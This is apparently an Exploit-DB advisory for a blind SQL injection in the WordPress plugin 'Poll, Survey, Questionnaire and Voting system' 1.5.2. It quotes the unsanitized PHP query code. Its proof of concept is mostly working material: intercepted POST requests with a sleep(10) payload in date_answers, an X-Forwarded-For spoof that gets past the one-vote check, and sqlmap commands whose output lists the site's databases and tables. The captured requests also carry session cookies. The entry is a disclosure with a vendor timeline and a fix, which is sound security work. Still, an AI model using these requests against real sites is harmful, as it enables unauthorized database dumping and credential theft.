WordPress Plugin Poll, Survey, Questionnaire and Voting system 1.5.2 - 'date_answers' Blind SQL Injection

EDB-ID:

50052

CVE:

N/A




Platform:

PHP

Date:

2021-06-23


# Exploit Title: WordPress Plugin Poll, Survey, Questionnaire and Voting system 1.5.2 - 'date_answers' Blind SQL Injection
# Date: 09/06/2021
# Exploit Author: inspired - Toby Jackson
# Blog Post: https://in-spired.xyz/wpdevart-polls-blind-sql-injection/
# Vendor Homepage: https://wpdevart.com/wordpress-polls-plugin
# Software Link: https://en-gb.wordpress.org/plugins/polls-widget/
# Version: Tested on version 1.5.0 and 1.5.2 (Older versions may be affected)
# Tested on: WordPress


## I. Vulnerability

Blind SQL Injection

## II. Product Overview

The software allows users to quickly generate polls and voting system and displays the results in real time.

## III. Exploit 

A vulnerability has been discovered in the wpdevart wordpress plugin "Poll, Survey, Questionnaire and Voting system" version 1.5.0 and 1.5.2. It is possible to perform a blind SQL injection on the date_answers[] parameter when casting a vote. This can be used to dump the back end database. Version 1.5.2 requires the changing of headers using an appropriate method for spoofing an IP address, such as X-Forwarded-For.

## IV. Vulnerable Code 

The vulnerable code resides in the front_end.php page within the save_poll_in_databese() function. It takes the $question_id and $current_user_ip before storing the vote in a variable called $new_voted_array, as seen below, from the date_answers post parameter.


$new_voted_array=$_POST['date_answers'];

The array is then looped through and the $new_answer variable is used as part of the where query without being sanitized.

if($new_voted_array)
	foreach($new_voted_array as $new_answer)	{
		$wpdb->query('UPDATE '.$wpdb->prefix.'polls SET vote = vote+1 WHERE `question_id` = '.$question_id.' AND `answer_name` = '.$new_answer.'');		



The above code is fixed in version 1.5.1, but there remains a vulnerability in 1.5.1 and 1.5.2. When a user is voting for the first time, the vote is cast in a different statement that also does not get sanitized. Coupled with the fact the application uses user-controlled headers to determine whether a user has voted already, an attacker can just edit their origin IP with an X-Forwarded-For header to vote multiple times but also invoke the SQL Injection still.

if ($new_voted_array)
	foreach ($new_voted_array as $answer) {
		$wpdb->query('UPDATE ' . $wpdb->prefix . 'polls SET vote = vote+1 WHERE `question_id` = ' . $question_id . ' AND `answer_name` = ' . $answer . '');
	}


## IV. Proof of Concept

A typical vote, intercepted with burp, will look like the request below. Editing this to contain a sleep will cause the server to sleep for X period.

------
POST /blog/wp-admin/admin-ajax.php?action=pollinsertvalues HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 67
Origin: http://localhost
DNT: 1
Connection: close
Referer: http://localhost/blog/index.php/2021/06/09/research/
Cookie: wordpress_d23cdc2cc5dd18709e8feb86452d865b=inspired%7C1623345285%7C52E5QESQG5PIPUT2tixVHPIkdN8inwgNojy9hs0JvDS%7C3538f3f44a02304781e099f970dc762fd89e88378a46613cf636fcd28a9755d3; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_d23cdc2cc5dd18709e8feb86452d865b=inspired%7C1623345285%7C52E5QESQG5PIPUT2tixVHPIkdN8inwgNojy9hs0JvDS%7C3d7d7b6485e1daa04da753dcc4e85a56150091301de3668ffe108e7829134f0d; wp-settings-time-1=1623238438

question_id=1&poll_answer_securety=5b29ac18fe&date_answers%5B0%5D=sleep(10)
------


Utilizing this, the database can easily be dumped by capturing the request, with an interceptor such as burpsuite, and using sqlmap.  By placing a * at the required injection point, sqlmap will first test this location.

------
POST /blog/wp-admin/admin-ajax.php?action=pollinsertvalues HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 67
Origin: http://localhost
DNT: 1
Connection: close
Referer: http://localhost/blog/index.php/2021/06/09/research/
Cookie: wordpress_d23cdc2cc5dd18709e8feb86452d865b=inspired%7C1623345285%7C52E5QESQG5PIPUT2tixVHPIkdN8inwgNojy9hs0JvDS%7C3538f3f44a02304781e099f970dc762fd89e88378a46613cf636fcd28a9755d3; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_d23cdc2cc5dd18709e8feb86452d865b=inspired%7C1623345285%7C52E5QESQG5PIPUT2tixVHPIkdN8inwgNojy9hs0JvDS%7C3d7d7b6485e1daa04da753dcc4e85a56150091301de3668ffe108e7829134f0d; wp-settings-time-1=1623238438

question_id=1&poll_answer_securety=5b29ac18fe&date_answers%5B0%5D=*
------


Save this request to a file, request.txt, and run the tool.

------
sqlmap -r request.txt --dbms=mysql --dbs --level=5 --risk=3

[14:30:54] [INFO] testing MySQL
[14:30:54] [INFO] confirming MySQL
[14:30:54] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian
web application technology: Apache 2.4.46
back-end DBMS: MySQL >= 8.0.0
[14:30:54] [INFO] fetching database names
[14:30:54] [INFO] fetching number of databases
[14:30:54] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[14:30:54] [INFO] retrieved: 2
[14:30:54] [INFO] resumed: information_schema
[14:30:54] [INFO] resumed: wordpress
available databases [2]:
[*] information_schema
[*] wordpress
------

------
sqlmap -r request.txt --dbms=mysql -D wordpress --tables --level=5 --risk=3

Database: wordpress
[19 tables]
+-----------------------+
| wp_commentmeta        |
| wp_comments           |
| wp_democracy_a        |
| wp_democracy_log      |
| wp_democracy_q        |
| wp_links              |
| wp_options            |
| wp_polls              |
| wp_polls_question     |
| wp_polls_templates    |
| wp_polls_users        |
| wp_postmeta           |
| wp_posts              |
| wp_term_relationships |
| wp_term_taxonomy      |
| wp_termmeta           |
| wp_terms              |
| wp_usermeta           |
| wp_users              |
+-----------------------+
------


https://www.youtube.com/watch?v=Fj1zeXNxDYQ

In versions 1.5.1 and 1.5.2, this vulnerability only occurs on the first vote a user casts. Adding a random X-Forwarded-For header to the requests will allow for the attack to be repeated as described above.

This has been demonstrated in the following PoC.

https://www.youtube.com/watch?v=P1r7gk0DSaM


## VI. Impact

An attacker can dump the back-end database of the server and gain access to user credentials which could then be used to perform further malicious acts. If configured incorrectly, it can also lead to the attacker being able to obtain remote code execution on the server.


## VII. SYSTEMS AFFECTED

WordPress websites running "Poll, Survey, Questionnaire and Voting system" plugin version 1.5.2 (older versions may also be affected).


## VIII. REMEDIATION

The update has been fixed in version 1.5.3, so it is advised to update to this version if using the plugin.


## VIIII. DISCLOSURE TIMELINE
-------------------------
June 9, 2021 1: Vulnerability identified.
June 9, 2021 2: Informed developer of the vulnerability.
June 9, 2021 3: Vendor replied to discuss the vulnerability in more detail.
June 9, 2021 4: Sent vendor proof of concept and impacted code blocks.
June 10, 2021 1: Vendor emails to state the vulnerability has been fixed.
June 10, 2021 2: Confirmed initial fix, vendor happy to disclose the vulnerability.
June 10, 2021 3: Requested CVE Number.
June 19, 2021 1: WPScan contact to discuss vulnerability.
June 19, 2021 2: Confirmed fix is not valid when new user votes or edits headers.
June 19, 2021 3: Contacted vendor to request further fix.
June 22, 2021 1: Vendor confirms fix. Information made public.